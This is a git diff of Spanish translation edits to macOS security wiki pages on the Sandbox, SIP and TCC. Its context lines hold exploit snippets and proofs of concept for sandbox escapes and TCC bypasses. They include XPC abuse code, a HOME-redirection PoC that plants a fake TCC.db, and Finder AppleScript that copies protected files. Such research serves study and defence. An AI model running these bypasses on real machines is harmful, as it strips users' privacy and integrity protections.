> Consulta esta [**investigación**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **para ver más acciones que podrían ser permitidas o denegadas.**
|
||||
> Consulta esta [**investigación**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **para verificar más acciones que podrían ser permitidas o denegadas.**
|
||||
>
|
||||
> Ten en cuenta que en la versión compilada de un perfil, el nombre de las operaciones es sustituido por sus entradas en un array conocido por el dylib y el kext, haciendo que la versión compilada sea más corta y más difícil de leer.
|
||||
|
||||
@ -237,13 +237,13 @@ También es posible hacer algo similar llamando a `sandbox_vtrace_enable()` y lu
|
||||
|
||||
MacOS almacena los perfiles de sandbox del sistema en dos ubicaciones: **/usr/share/sandbox/** y **/System/Library/Sandbox/Profiles**.
|
||||
|
||||
Y si una aplicación de terceros tiene el _**com.apple.security.app-sandbox**_ derecho, el sistema aplica el perfil **/System/Library/Sandbox/Profiles/application.sb** a ese proceso.
|
||||
Y si una aplicación de terceros tiene el derecho _**com.apple.security.app-sandbox**_, el sistema aplica el perfil **/System/Library/Sandbox/Profiles/application.sb** a ese proceso.
|
||||
|
||||
En iOS, el perfil predeterminado se llama **container** y no tenemos la representación de texto SBPL. En memoria, este sandbox se representa como un árbol binario de Permitir/Denegar para cada permiso del sandbox.
|
||||
|
||||
### SBPL personalizado en aplicaciones de la App Store
|
||||
|
||||
Podría ser posible que las empresas hicieran que sus aplicaciones funcionaran **con perfiles de Sandbox personalizados** (en lugar de con el predeterminado). Necesitan usar el derecho **`com.apple.security.temporary-exception.sbpl`** que debe ser autorizado por Apple.
|
||||
Podría ser posible que las empresas hagan que sus aplicaciones se ejecuten **con perfiles de Sandbox personalizados** (en lugar de con el predeterminado). Necesitan usar el derecho **`com.apple.security.temporary-exception.sbpl`** que debe ser autorizado por Apple.
|
||||
|
||||
Es posible verificar la definición de este derecho en **`/System/Library/Sandbox/Profiles/application.sb:`**
|
||||
```scheme
|
||||
@ -257,7 +257,7 @@ Esto **evalúa la cadena después de este derecho** como un perfil de Sandbox.
|
||||
|
||||
### Compilación y descompilación de un perfil de Sandbox
|
||||
|
||||
La herramienta **`sandbox-exec`** utiliza las funciones `sandbox_compile_*` de `libsandbox.dylib`. Las funciones principales exportadas son: `sandbox_compile_file` (espera una ruta de archivo, parámetro `-f`), `sandbox_compile_string` (espera una cadena, parámetro `-p`), `sandbox_compile_name` (espera un nombre de contenedor, parámetro `-n`), `sandbox_compile_entitlements` (espera un plist de derechos).
|
||||
La herramienta **`sandbox-exec`** utiliza las funciones `sandbox_compile_*` de `libsandbox.dylib`. Las principales funciones exportadas son: `sandbox_compile_file` (espera una ruta de archivo, parámetro `-f`), `sandbox_compile_string` (espera una cadena, parámetro `-p`), `sandbox_compile_name` (espera un nombre de contenedor, parámetro `-n`), `sandbox_compile_entitlements` (espera un plist de derechos).
|
||||
|
||||
Esta versión revertida y [**de código abierto de la herramienta sandbox-exec**](https://newosxbook.com/src.jl?tree=listings&file=/sandbox_exec.c) permite que **`sandbox-exec`** escriba en un archivo el perfil de sandbox compilado.
|
||||
|
||||
@ -265,9 +265,9 @@ Además, para confinar un proceso dentro de un contenedor, puede llamar a `sandb
|
||||
|
||||
## Depurar y eludir el Sandbox
|
||||
|
||||
En macOS, a diferencia de iOS donde los procesos están en sandbox desde el inicio por el kernel, **los procesos deben optar por el sandbox ellos mismos**. Esto significa que en macOS, un proceso no está restringido por el sandbox hasta que decide activamente entrar en él, aunque las aplicaciones de la App Store siempre están en sandbox.
|
||||
En macOS, a diferencia de iOS donde los procesos están aislados desde el inicio por el kernel, **los procesos deben optar por el sandbox ellos mismos**. Esto significa que en macOS, un proceso no está restringido por el sandbox hasta que decide activamente entrar en él, aunque las aplicaciones de la App Store siempre están aisladas.
|
||||
|
||||
Los procesos se en sandbox automáticamente desde el userland cuando comienzan si tienen el derecho: `com.apple.security.app-sandbox`. Para una explicación detallada de este proceso, consulta:
|
||||
Los procesos se aíslan automáticamente desde el userland cuando comienzan si tienen el derecho: `com.apple.security.app-sandbox`. Para una explicación detallada de este proceso, consulta:
|
||||
|
||||
{{#ref}}
|
||||
macos-sandbox-debug-and-bypass/
|
||||
@ -346,7 +346,7 @@ La llamada a la función `___sandbox_ms` envuelve `mac_syscall` indicando en el
|
||||
- **rootless_whitelist_push (#31)**: (macOS) Aplica un archivo de manifiesto de Protección de Integridad del Sistema (SIP).
|
||||
- **rootless_whitelist_check (preflight) (#32)**: Verifica el archivo de manifiesto SIP antes de la ejecución.
|
||||
- **rootless_protected_volume (#33)**: (macOS) Aplica protecciones SIP a un disco o partición.
|
||||
- **rootless_mkdir_protected (#34)**: Aplica protección SIP/DataVault a un proceso de creación de directorio.
|
||||
- **rootless_mkdir_protected (#34)**: Aplica protección SIP/DataVault a un proceso de creación de directorios.
|
||||
|
||||
## Sandbox.kext
|
||||
|
||||
|
||||
@ -107,7 +107,7 @@ Varios ejemplos que abusan de esta técnica se pueden encontrar en el [**escrito
|
||||
|
||||
#### /System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc
|
||||
|
||||
Este servicio permite todas las conexiones XPC al devolver siempre `YES` y el método `runTask:arguments:withReply:` ejecuta un comando arbitrario con parámetros arbitrarios.
|
||||
Este servicio permite cada conexión XPC al devolver siempre `YES` y el método `runTask:arguments:withReply:` ejecuta un comando arbitrario con parámetros arbitrarios.
|
||||
|
||||
La explotación fue "tan simple como":
|
||||
```objectivec
|
||||
@ -130,9 +130,9 @@ NSLog(@"run task result:%@, error:%@", bSucc, error);
|
||||
```
|
||||
#### /System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc
|
||||
|
||||
Este servicio XPC permitía a cada cliente al devolver siempre YES y el método `createZipAtPath:hourThreshold:withReply:` básicamente permitía indicar la ruta a una carpeta para comprimir y la comprimiría en un archivo ZIP.
|
||||
Este servicio XPC permitía a cada cliente siempre devolver YES y el método `createZipAtPath:hourThreshold:withReply:` básicamente permitía indicar la ruta a una carpeta para comprimir y la comprimiría en un archivo ZIP.
|
||||
|
||||
Por lo tanto, es posible generar una estructura de carpeta de aplicación falsa, comprimirla, luego descomprimirla y ejecutarla para escapar del sandbox ya que los nuevos archivos no tendrán el atributo de cuarentena.
|
||||
Por lo tanto, es posible generar una estructura de carpeta de aplicación falsa, comprimirla, luego descomprimirla y ejecutarla para escapar del sandbox, ya que los nuevos archivos no tendrán el atributo de cuarentena.
|
||||
|
||||
La explotación fue:
|
||||
```objectivec
|
||||
@ -207,7 +207,7 @@ NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]);
|
||||
|
||||
[**Esta investigación**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) descubrió 2 formas de eludir el Sandbox. Debido a que el sandbox se aplica desde el espacio de usuario cuando se carga la biblioteca **libSystem**. Si un binario pudiera evitar cargarla, nunca sería sandboxed:
|
||||
|
||||
- Si el binario estuviera **completamente compilado de forma estática**, podría evitar cargar esa biblioteca.
|
||||
- Si el binario estuviera **completamente compilado estáticamente**, podría evitar cargar esa biblioteca.
|
||||
- Si el **binario no necesitara cargar ninguna biblioteca** (porque el enlazador también está en libSystem), no necesitará cargar libSystem.
|
||||
|
||||
### Shellcodes
|
||||
|
||||
@ -13,7 +13,7 @@
|
||||
|
||||
Las reglas que rigen el comportamiento de SIP se definen en el archivo de configuración ubicado en **`/System/Library/Sandbox/rootless.conf`**. Dentro de este archivo, las rutas que están precedidas por un asterisco (\*) se denotan como excepciones a las estrictas restricciones de SIP.
|
||||
|
||||
Considera el siguiente ejemplo:
|
||||
Considere el siguiente ejemplo:
|
||||
```javascript
|
||||
/usr
|
||||
* /usr/libexec/cups
|
||||
@ -22,7 +22,7 @@ Considera el siguiente ejemplo:
|
||||
```
|
||||
Este fragmento implica que, aunque SIP generalmente asegura el **`/usr`** directorio, hay subdirectorios específicos (`/usr/libexec/cups`, `/usr/local`, y `/usr/share/man`) donde las modificaciones son permisibles, como lo indica el asterisco (\*) que precede sus rutas.
|
||||
|
||||
Para verificar si un directorio o archivo está protegido por SIP, puedes usar el **`ls -lOd`** comando para comprobar la presencia de la **`restricted`** o **`sunlnk`** bandera. Por ejemplo:
|
||||
Para verificar si un directorio o archivo está protegido por SIP, puedes usar el comando **`ls -lOd`** para comprobar la presencia de la bandera **`restricted`** o **`sunlnk`**. Por ejemplo:
|
||||
```bash
|
||||
ls -lOd /usr/libexec/cups
|
||||
drwxr-xr-x 11 root wheel sunlnk 352 May 13 00:29 /usr/libexec/cups
|
||||
@ -48,7 +48,7 @@ Además, si un archivo contiene el atributo **`com.apple.rootless`** atributo **
|
||||
- Modificar variables de NVRAM
|
||||
- Permitir depuración del kernel
|
||||
|
||||
Las opciones se mantienen en la variable nvram como un bitflag (`csr-active-config` en Intel y `lp-sip0` se lee del Device Tree arrancado para ARM). Puede encontrar las banderas en el código fuente de XNU en `csr.sh`:
|
||||
Las opciones se mantienen en la variable nvram como un bitflag (`csr-active-config` en Intel y `lp-sip0` se lee del Device Tree iniciado para ARM). Puede encontrar las banderas en el código fuente de XNU en `csr.sh`:
|
||||
|
||||
<figure><img src="../../../images/image (1192).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -116,7 +116,7 @@ Se descubrió que era posible **intercambiar el paquete de instalación después
|
||||
|
||||
#### [CVE-2020–9854](https://objective-see.org/blog/blog_0x4D.html) <a href="#cve-unauthd-chain" id="cve-unauthd-chain"></a>
|
||||
|
||||
Si un paquete se instalaba desde una imagen montada o unidad externa, el **instalador** **ejecutaría** el binario de **ese sistema de archivos** (en lugar de un lugar protegido por SIP), haciendo que **`system_installd`** ejecute un binario arbitrario.
|
||||
Si un paquete se instalaba desde una imagen montada o un disco externo, el **instalador** **ejecutaría** el binario de **ese sistema de archivos** (en lugar de un lugar protegido por SIP), haciendo que **`system_installd`** ejecutara un binario arbitrario.
|
||||
|
||||
#### CVE-2021-30892 - Shrootless
|
||||
|
||||
@ -154,9 +154,9 @@ mkdir evil
|
||||
hdiutil create -srcfolder evil evil.dmg
|
||||
hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg
|
||||
```
|
||||
#### [Bypass de actualizador (2016)](https://objective-see.org/blog/blog_0x14.html)
|
||||
#### [Bypass de Upgrader (2016)](https://objective-see.org/blog/blog_0x14.html)
|
||||
|
||||
El sistema está configurado para arrancar desde una imagen de disco de instalador embebida dentro de `Install macOS Sierra.app` para actualizar el sistema operativo, utilizando la utilidad `bless`. El comando utilizado es el siguiente:
|
||||
El sistema está configurado para arrancar desde una imagen de disco de instalador embebida dentro de `Install macOS Sierra.app` para actualizar el SO, utilizando la utilidad `bless`. El comando utilizado es el siguiente:
|
||||
```bash
|
||||
/usr/sbin/bless -setBoot -folder /Volumes/Macintosh HD/macOS Install Data -bootefi /Volumes/Macintosh HD/macOS Install Data/boot.efi -options config="\macOS Install Data\com.apple.Boot" -label macOS Installer
|
||||
```
|
||||
@ -172,7 +172,7 @@ En esta charla de [**DEF CON 31**](https://www.youtube.com/watch?v=zxZesAN-TEk),
|
||||
|
||||
#### CVE-2023-42860 <a href="#cve-a-detailed-look" id="cve-a-detailed-look"></a>
|
||||
|
||||
Como [**se detalla en esta publicación del blog**](https://blog.kandji.io/apple-mitigates-vulnerabilities-installer-scripts), un script `postinstall` de `InstallAssistant.pkg` permitía ejecutar:
|
||||
Como [**se detalla en esta publicación de blog**](https://blog.kandji.io/apple-mitigates-vulnerabilities-installer-scripts), un script `postinstall` de los paquetes `InstallAssistant.pkg` permitía ejecutar:
|
||||
```bash
|
||||
/usr/bin/chflags -h norestricted "${SHARED_SUPPORT_PATH}/SharedSupport.dmg"
|
||||
```
|
||||
@ -195,7 +195,7 @@ Aquí hay una mirada más detallada:
|
||||
|
||||
1. **Sistema Inmutable**: Las Instantáneas del Sistema Selladas hacen que el volumen del sistema macOS sea "inmutable", lo que significa que no puede ser modificado. Esto previene cualquier cambio no autorizado o accidental en el sistema que podría comprometer la seguridad o la estabilidad del sistema.
|
||||
2. **Actualizaciones de Software del Sistema**: Cuando instalas actualizaciones o mejoras de macOS, macOS crea una nueva instantánea del sistema. El volumen de inicio de macOS luego utiliza **APFS (Apple File System)** para cambiar a esta nueva instantánea. Todo el proceso de aplicación de actualizaciones se vuelve más seguro y confiable, ya que el sistema siempre puede revertir a la instantánea anterior si algo sale mal durante la actualización.
|
||||
3. **Separación de Datos**: En conjunto con el concepto de separación de volúmenes de Datos y Sistema introducido en macOS Catalina, la característica de Instantánea del Sistema Sellada asegura que todos tus datos y configuraciones se almacenen en un volumen separado de "**Datos**". Esta separación hace que tus datos sean independientes del sistema, lo que simplifica el proceso de actualizaciones del sistema y mejora la seguridad del sistema.
|
||||
3. **Separación de Datos**: En conjunto con el concepto de separación de volúmenes de Datos y Sistema introducido en macOS Catalina, la característica de Instantánea del Sistema Sellada asegura que todos tus datos y configuraciones se almacenen en un volumen separado "**Data**". Esta separación hace que tus datos sean independientes del sistema, lo que simplifica el proceso de actualizaciones del sistema y mejora la seguridad del sistema.
|
||||
|
||||
Recuerda que estas instantáneas son gestionadas automáticamente por macOS y no ocupan espacio adicional en tu disco, gracias a las capacidades de compartición de espacio de APFS. También es importante notar que estas instantáneas son diferentes de las **instantáneas de Time Machine**, que son copias de seguridad accesibles por el usuario de todo el sistema.
|
||||
|
||||
@ -205,46 +205,46 @@ El comando **`diskutil apfs list`** lista los **detalles de los volúmenes APFS*
|
||||
|
||||
<pre><code>+-- Container disk3 966B902E-EDBA-4775-B743-CF97A0556A13
|
||||
| ====================================================
|
||||
| Referencia del Contenedor APFS: disk3
|
||||
| Tamaño (Capacidad Máxima): 494384795648 B (494.4 GB)
|
||||
| Capacidad Usada por Volúmenes: 219214536704 B (219.2 GB) (44.3% usado)
|
||||
| Capacidad No Asignada: 275170258944 B (275.2 GB) (55.7% libre)
|
||||
| APFS Container Reference: disk3
|
||||
| Size (Capacity Ceiling): 494384795648 B (494.4 GB)
|
||||
| Capacity In Use By Volumes: 219214536704 B (219.2 GB) (44.3% used)
|
||||
| Capacity Not Allocated: 275170258944 B (275.2 GB) (55.7% free)
|
||||
| |
|
||||
| +-< Almacenamiento Físico disk0s2 86D4B7EC-6FA5-4042-93A7-D3766A222EBE
|
||||
| +-< Physical Store disk0s2 86D4B7EC-6FA5-4042-93A7-D3766A222EBE
|
||||
| | -----------------------------------------------------------
|
||||
| | Disco de Almacenamiento Físico APFS: disk0s2
|
||||
| | Tamaño: 494384795648 B (494.4 GB)
|
||||
| | APFS Physical Store Disk: disk0s2
|
||||
| | Size: 494384795648 B (494.4 GB)
|
||||
| |
|
||||
| +-> Volumen disk3s1 7A27E734-880F-4D91-A703-FB55861D49B7
|
||||
| +-> Volume disk3s1 7A27E734-880F-4D91-A703-FB55861D49B7
|
||||
| | ---------------------------------------------------
|
||||
<strong>| | Disco de Volumen APFS (Rol): disk3s1 (Sistema)
|
||||
</strong>| | Nombre: Macintosh HD (Sin distinción de mayúsculas)
|
||||
<strong>| | Punto de Montaje: /System/Volumes/Update/mnt1
|
||||
</strong>| | Capacidad Consumida: 12819210240 B (12.8 GB)
|
||||
| | Sellado: Roto
|
||||
| | FileVault: Sí (Desbloqueado)
|
||||
| | Encriptado: No
|
||||
<strong>| | APFS Volume Disk (Role): disk3s1 (System)
|
||||
</strong>| | Name: Macintosh HD (Case-insensitive)
|
||||
<strong>| | Mount Point: /System/Volumes/Update/mnt1
|
||||
</strong>| | Capacity Consumed: 12819210240 B (12.8 GB)
|
||||
| | Sealed: Broken
|
||||
| | FileVault: Yes (Unlocked)
|
||||
| | Encrypted: No
|
||||
| | |
|
||||
| | Instantánea: FAA23E0C-791C-43FF-B0E7-0E1C0810AC61
|
||||
| | Disco de Instantánea: disk3s1s1
|
||||
<strong>| | Punto de Montaje de Instantánea: /
|
||||
</strong><strong>| | Instantánea Sellada: Sí
|
||||
| | Snapshot: FAA23E0C-791C-43FF-B0E7-0E1C0810AC61
|
||||
| | Snapshot Disk: disk3s1s1
|
||||
<strong>| | Snapshot Mount Point: /
|
||||
</strong><strong>| | Snapshot Sealed: Yes
|
||||
</strong>[...]
|
||||
+-> Volumen disk3s5 281959B7-07A1-4940-BDDF-6419360F3327
|
||||
+-> Volume disk3s5 281959B7-07A1-4940-BDDF-6419360F3327
|
||||
| ---------------------------------------------------
|
||||
| Disco de Volumen APFS (Rol): disk3s5 (Datos)
|
||||
| Nombre: Macintosh HD - Datos (Sin distinción de mayúsculas)
|
||||
<strong> | Punto de Montaje: /System/Volumes/Data
|
||||
</strong><strong> | Capacidad Consumida: 412071784448 B (412.1 GB)
|
||||
</strong> | Sellado: No
|
||||
| FileVault: Sí (Desbloqueado)
|
||||
| APFS Volume Disk (Role): disk3s5 (Data)
|
||||
| Name: Macintosh HD - Data (Case-insensitive)
|
||||
<strong> | Mount Point: /System/Volumes/Data
|
||||
</strong><strong> | Capacity Consumed: 412071784448 B (412.1 GB)
|
||||
</strong> | Sealed: No
|
||||
| FileVault: Yes (Unlocked)
|
||||
</code></pre>
|
||||
|
||||
En la salida anterior es posible ver que **las ubicaciones accesibles por el usuario** están montadas bajo `/System/Volumes/Data`.
|
||||
|
||||
Además, la **instantánea del volumen del sistema de macOS** está montada en `/` y está **sellada** (firmada criptográficamente por el OS). Así que, si se elude SIP y se modifica, el **OS ya no arrancará**.
|
||||
Además, **la instantánea del volumen del sistema de macOS** está montada en `/` y está **sellada** (firmada criptográficamente por el OS). Así que, si se elude SIP y se modifica, el **OS no arrancará más**.
|
||||
|
||||
También es posible **verificar que el sellado está habilitado** ejecutando:
|
||||
También es posible **verificar que el sello está habilitado** ejecutando:
|
||||
```bash
|
||||
csrutil authenticated-root status
|
||||
Authenticated Root status: enabled
|
||||
|
||||
@ -78,7 +78,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="base de datos del sistema"}}
|
||||
{{#tab name="system DB"}}
|
||||
```bash
|
||||
sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db
|
||||
sqlite> .schema
|
||||
@ -203,7 +203,7 @@ csreq -t -r /tmp/telegram_csreq.bin
|
||||
|
||||
### Derechos y Permisos de TCC
|
||||
|
||||
Las aplicaciones **no solo necesitan** **solicitar** y haber **recibido acceso** a algunos recursos, también necesitan **tener los derechos relevantes**.\
|
||||
Las aplicaciones **no solo necesitan** **solicitar** y haber sido **otorgadas acceso** a algunos recursos, también necesitan **tener los derechos relevantes**.\
|
||||
Por ejemplo, **Telegram** tiene el derecho `com.apple.security.device.camera` para solicitar **acceso a la cámara**. Una **aplicación** que **no tenga** este **derecho no podrá** acceder a la cámara (y el usuario ni siquiera será preguntado por los permisos).
|
||||
|
||||
Sin embargo, para que las aplicaciones **accedan** a **ciertas carpetas de usuario**, como `~/Desktop`, `~/Downloads` y `~/Documents`, **no necesitan** tener ningún **derecho específico.** El sistema manejará el acceso de manera transparente y **pedirá al usuario** según sea necesario.
|
||||
@ -306,9 +306,9 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
|
||||
```
|
||||
</details>
|
||||
|
||||
### Cargas TCC
|
||||
### Cargas Útiles de TCC
|
||||
|
||||
Si lograste entrar en una aplicación con algunos permisos de TCC, consulta la siguiente página con cargas TCC para abusar de ellas:
|
||||
Si lograste entrar en una aplicación con algunos permisos de TCC, consulta la siguiente página con cargas útiles de TCC para abusar de ellas:
|
||||
|
||||
{{#ref}}
|
||||
macos-tcc-payloads.md
|
||||
@ -324,8 +324,8 @@ macos-apple-events.md
|
||||
|
||||
### Automatización (Finder) a FDA\*
|
||||
|
||||
El nombre TCC del permiso de Automatización es: **`kTCCServiceAppleEvents`**\
|
||||
Este permiso TCC específico también indica la **aplicación que puede ser gestionada** dentro de la base de datos TCC (por lo que los permisos no permiten simplemente gestionar todo).
|
||||
El nombre de TCC del permiso de Automatización es: **`kTCCServiceAppleEvents`**\
|
||||
Este permiso específico de TCC también indica la **aplicación que puede ser gestionada** dentro de la base de datos de TCC (por lo que los permisos no permiten simplemente gestionar todo).
|
||||
|
||||
**Finder** es una aplicación que **siempre tiene FDA** (incluso si no aparece en la interfaz de usuario), así que si tienes privilegios de **Automatización** sobre ella, puedes abusar de sus privilegios para **hacer que realice algunas acciones**.\
|
||||
En este caso, tu aplicación necesitaría el permiso **`kTCCServiceAppleEvents`** sobre **`com.apple.Finder`**.
|
||||
@ -370,7 +370,7 @@ Este es el aviso de TCC para obtener privilegios de Automatización sobre Finder
|
||||
<figure><img src="../../../../images/image (27).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> Ten en cuenta que debido a que la aplicación **Automator** tiene el permiso TCC **`kTCCServiceAppleEvents`**, puede **controlar cualquier aplicación**, como Finder. Así que al tener el permiso para controlar Automator, también podrías controlar el **Finder** con un código como el siguiente:
|
||||
> Ten en cuenta que debido a que la aplicación **Automator** tiene el permiso TCC **`kTCCServiceAppleEvents`**, puede **controlar cualquier aplicación**, como Finder. Así que al tener el permiso para controlar Automator, también podrías controlar el **Finder** con un código como el que se muestra a continuación:
|
||||
|
||||
<details>
|
||||
|
||||
@ -514,7 +514,7 @@ Pero puedes **dar** a ti mismo **`Derechos de Automatización al Finder`**, y ab
|
||||
|
||||
**Acceso Completo al Disco** es el nombre de TCC **`kTCCServiceSystemPolicyAllFiles`**
|
||||
|
||||
No creo que esto sea un verdadero privesc, pero por si acaso lo encuentras útil: Si controlas un programa con FDA puedes **modificar la base de datos TCC de los usuarios y darte cualquier acceso**. Esto puede ser útil como técnica de persistencia en caso de que pierdas tus permisos de FDA.
|
||||
No creo que esto sea un verdadero privesc, pero por si acaso lo encuentras útil: Si controlas un programa con FDA puedes **modificar la base de datos TCC de los usuarios y darte cualquier acceso**. Esto puede ser útil como técnica de persistencia en caso de que puedas perder tus permisos de FDA.
|
||||
|
||||
### **Bypass de SIP a Bypass de TCC**
|
||||
|
||||
|
||||
@ -16,7 +16,7 @@ ls: Desktop: Operation not permitted
|
||||
username@hostname ~ % cat Desktop/lalala
|
||||
asd
|
||||
```
|
||||
El **atributo extendido `com.apple.macl`** se agrega al nuevo **archivo** para dar acceso a la **aplicación creadora** para leerlo.
|
||||
El **atributo extendido `com.apple.macl`** se añade al nuevo **archivo** para dar acceso a la **aplicación creadora** para leerlo.
|
||||
|
||||
### TCC ClickJacking
|
||||
|
||||
@ -37,7 +37,7 @@ Más información y PoC en:
|
||||
../../../macos-privilege-escalation.md
|
||||
{{#endref}}
|
||||
|
||||
### Bypass SSH
|
||||
### Bypass de SSH
|
||||
|
||||
Por defecto, un acceso a través de **SSH solía tener "Acceso Completo al Disco"**. Para deshabilitar esto, necesitas tenerlo listado pero deshabilitado (eliminarlo de la lista no eliminará esos privilegios):
|
||||
|
||||
@ -108,14 +108,14 @@ set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alia
|
||||
end tell
|
||||
do shell script "rm " & POSIX path of (copyFile as alias)
|
||||
```
|
||||
## Por comportamiento de la aplicación
|
||||
## Comportamiento de la aplicación
|
||||
|
||||
### CVE-2020–9934 - TCC <a href="#c19b" id="c19b"></a>
|
||||
|
||||
El **daemon tccd** de userland estaba utilizando la variable de entorno **`HOME`** para acceder a la base de datos de usuarios de TCC desde: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
|
||||
|
||||
Según [esta publicación de Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) y debido a que el daemon TCC se ejecuta a través de `launchd` dentro del dominio del usuario actual, es posible **controlar todas las variables de entorno** pasadas a él.\
|
||||
Así, un **atacante podría establecer la variable de entorno `$HOME`** en **`launchctl`** para apuntar a un **directorio controlado**, **reiniciar** el **daemon TCC**, y luego **modificar directamente la base de datos de TCC** para otorgarse **todos los derechos de TCC disponibles** sin nunca solicitar al usuario final.\
|
||||
Según [esta publicación de Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) y porque el daemon TCC se ejecuta a través de `launchd` dentro del dominio del usuario actual, es posible **controlar todas las variables de entorno** pasadas a él.\
|
||||
Así, un **atacante podría establecer la variable de entorno `$HOME`** en **`launchctl`** para apuntar a un **directorio controlado**, **reiniciar** el **daemon TCC**, y luego **modificar directamente la base de datos de TCC** para otorgarse **todas las concesiones de TCC disponibles** sin nunca solicitar al usuario final.\
|
||||
PoC:
|
||||
```bash
|
||||
# reset database just in case (no cheating!)
|
||||
@ -145,7 +145,7 @@ $> ls ~/Documents
|
||||
```
|
||||
### CVE-2021-30761 - Notas
|
||||
|
||||
Las notas tenían acceso a ubicaciones protegidas por TCC, pero cuando se crea una nota, esta se **crea en una ubicación no protegida**. Así que podrías pedir a las notas que copien un archivo protegido en una nota (así que en una ubicación no protegida) y luego acceder al archivo:
|
||||
Las notas tenían acceso a ubicaciones protegidas por TCC, pero cuando se crea una nota, esta se **crea en una ubicación no protegida**. Así que podrías pedir a notas que copien un archivo protegido en una nota (así que en una ubicación no protegida) y luego acceder al archivo:
|
||||
|
||||
<figure><img src="../../../../../images/image (476).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -157,17 +157,17 @@ Era posible agregar el atributo de cuarentena a "Library", llamar al servicio XP
|
||||
|
||||
### CVE-2023-38571 - Música y TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
|
||||
|
||||
**`Music`** tiene una característica interesante: Cuando está en funcionamiento, **importará** los archivos que se coloquen en **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** a la "biblioteca de medios" del usuario. Además, llama a algo como: **`rename(a, b);`** donde `a` y `b` son:
|
||||
**`Music`** tiene una característica interesante: Cuando está en funcionamiento, **importará** los archivos que se suelten en **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** en la "biblioteca de medios" del usuario. Además, llama a algo como: **`rename(a, b);`** donde `a` y `b` son:
|
||||
|
||||
- `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
|
||||
- `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
|
||||
|
||||
Este comportamiento de **`rename(a, b);`** es vulnerable a una **Condición de Carrera**, ya que es posible colocar dentro de la carpeta `Automatically Add to Music.localized` un archivo **TCC.db** falso y luego, cuando se crea la nueva carpeta (b) para copiar el archivo, eliminarlo y apuntarlo a **`~/Library/Application Support/com.apple.TCC`**/.
|
||||
Este comportamiento de **`rename(a, b);`** es vulnerable a una **Condición de Carrera**, ya que es posible poner dentro de la carpeta `Automatically Add to Music.localized` un archivo **TCC.db** falso y luego, cuando se crea la nueva carpeta (b) para copiar el archivo, eliminarlo y apuntarlo a **`~/Library/Application Support/com.apple.TCC`**/.
|
||||
|
||||
### SQLITE_SQLLOG_DIR - CVE-2023-32422
|
||||
|
||||
Si **`SQLITE_SQLLOG_DIR="path/folder"`** significa básicamente que **cualquier base de datos abierta se copia a esa ruta**. En este CVE, este control fue abusado para **escribir** dentro de una **base de datos SQLite** que va a ser **abierta por un proceso con FDA la base de datos TCC**, y luego abusar de **`SQLITE_SQLLOG_DIR`** con un **symlink en el nombre del archivo** para que cuando esa base de datos esté **abierta**, el usuario **TCC.db se sobrescriba** con la abierta.\
|
||||
**Más info** [**en el informe**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **y** [**en la charla**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s).
|
||||
**Más info** [**en el informe**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **y**[ **en la charla**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s).
|
||||
|
||||
### **SQLITE_AUTO_TRACE**
|
||||
|
||||
@ -237,7 +237,7 @@ Por lo tanto, si el usuario logra reiniciar TCC con una variable de entorno $HOM
|
||||
El **primer POC** utiliza [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) y [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) para modificar la **carpeta HOME** del usuario.
|
||||
|
||||
1. Obtener un blob _csreq_ para la aplicación objetivo.
|
||||
2. Plantar un archivo _TCC.db_ falso con el acceso requerido y el blob _csreq_.
|
||||
2. Plantar un archivo _TCC.db_ falso con acceso requerido y el blob _csreq_.
|
||||
3. Exportar la entrada de Servicios de Directorio del usuario con [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/).
|
||||
4. Modificar la entrada de Servicios de Directorio para cambiar el directorio home del usuario.
|
||||
5. Importar la entrada de Servicios de Directorio modificada con [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/).
|
||||
@ -263,7 +263,7 @@ Los plugins son código extra, generalmente en forma de bibliotecas o plist, que
|
||||
|
||||
La aplicación `/System/Library/CoreServices/Applications/Directory Utility.app` tenía el derecho **`kTCCServiceSystemPolicySysAdminFiles`**, cargaba plugins con extensión **`.daplug`** y **no tenía el** runtime endurecido.
|
||||
|
||||
Para armar este CVE, se **cambia** el **`NFSHomeDirectory`** (abusando del derecho anterior) para poder **tomar el control de la base de datos TCC del usuario** y eludir TCC.
|
||||
Para armar este CVE, el **`NFSHomeDirectory`** es **cambiado** (abusando del derecho anterior) para poder **tomar el control de la base de datos TCC del usuario** y eludir TCC.
|
||||
|
||||
Para más información, consulta el [**informe original**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/).
|
||||
|
||||
@ -300,7 +300,7 @@ exit(0);
|
||||
```
|
||||
